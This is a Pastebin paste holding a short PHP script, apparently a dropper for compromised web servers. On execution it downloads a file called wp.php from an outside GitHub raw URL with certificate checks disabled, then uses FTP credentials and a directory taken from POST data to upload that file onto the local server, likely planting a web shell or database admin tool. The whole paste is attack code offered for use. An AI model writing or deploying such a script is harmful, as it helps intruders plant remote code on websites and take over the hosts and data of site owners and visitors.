Advertisement
androxgh0st

ftp

Oct 9th, 2019
529
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.27 KB | None | 0 0
  1. <?php
  2.  
  3. function adminer($url, $isi) {
  4.     $fp = fopen($isi, "w");
  5.     $ch = curl_init();
  6.     curl_setopt($ch, CURLOPT_URL, $url);
  7.     curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  8.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  9.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  10.     curl_setopt($ch, CURLOPT_FILE, $fp);
  11.     return curl_exec($ch);
  12.     curl_close($ch);
  13.     fclose($fp);
  14.     ob_flush();
  15.     flush();
  16. }
  17. if(adminer("https://raw.githubusercontent.com/Xi4u7/just-for-fun/master/wp.php","wp.php")) {
  18.     echo "AdminerOK";
  19. } else {
  20.     echo "AdminerF";
  21. }
  22.  
  23. if(isset($_POST["user"])) {
  24.     $ftp_server = "localhost";
  25.     $ftp_user_name = $_POST['user'];
  26.     $ftp_user_pass = $_POST['pass'];
  27.     $ftp_directory = $_POST["path"];
  28.     $ftp_source_file_name = "wp.php";
  29.     $ftp_dest_file_name = $ftp_source_file_name;
  30.  
  31.     if( ftp_file( $ftp_server, $ftp_user_name, $ftp_user_pass, $ftp_source_file_name, $ftp_directory, $ftp_dest_file_name) ){
  32.         echo "Success: FTP'd data\n";
  33.     } else {
  34.         echo "Error: Could not FTP data.\n";
  35.     }
  36. } else {
  37.     echo "Only Allowed Method POST!";
  38.     exit;
  39. }
  40.  
  41.  
  42. function ftp_file( $ftpservername, $ftpusername, $ftppassword, $ftpsourcefile, $ftpdirectory, $ftpdestinationfile )
  43. {
  44.     $conn_id = ftp_connect($ftpservername);
  45.  
  46.     if ( $conn_id == false )
  47.     {
  48.         echo "FTP open connection failed to $ftpservername \n" ;
  49.         return false;
  50.     }
  51.  
  52.     $login_result = ftp_login($conn_id, $ftpusername, $ftppassword);
  53.  
  54.     if ((!$conn_id) || (!$login_result)) {
  55.         echo "FTP connection has failed!\n";
  56.         echo "Attempted to connect to " . $ftpservername . " for user " . $ftpusername . "\n";
  57.         return false;
  58.     } else {
  59.         echo "Connected to " . $ftpservername . ", for user " . $ftpusername . "\n";
  60.     }
  61.  
  62.     if ( strlen( $ftpdirectory ) > 0 )
  63.     {
  64.         if (ftp_chdir($conn_id, $ftpdirectory )) {
  65.             echo "Current directory is now: " . ftp_pwd($conn_id) . "\n";
  66.         } else {
  67.             echo "Couldn't change directory on $ftpservername\n";
  68.             return false;
  69.         }
  70.     }
  71.  
  72.     ftp_pasv ( $conn_id, true ) ;
  73.     $upload = ftp_put( $conn_id, $ftpdestinationfile, $ftpsourcefile, FTP_ASCII );
  74.  
  75.     if (!$upload) {
  76.         echo "$ftpservername: FTP upload has failed!\n";
  77.         return false;
  78.     } else {
  79.         echo "Uploaded " . $ftpsourcefile . " to " . $ftpservername . " as " . $ftpdestinationfile . "\n";
  80.     }
  81.  
  82.     ftp_close($conn_id);
  83.     return true;
  84. }
  85. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement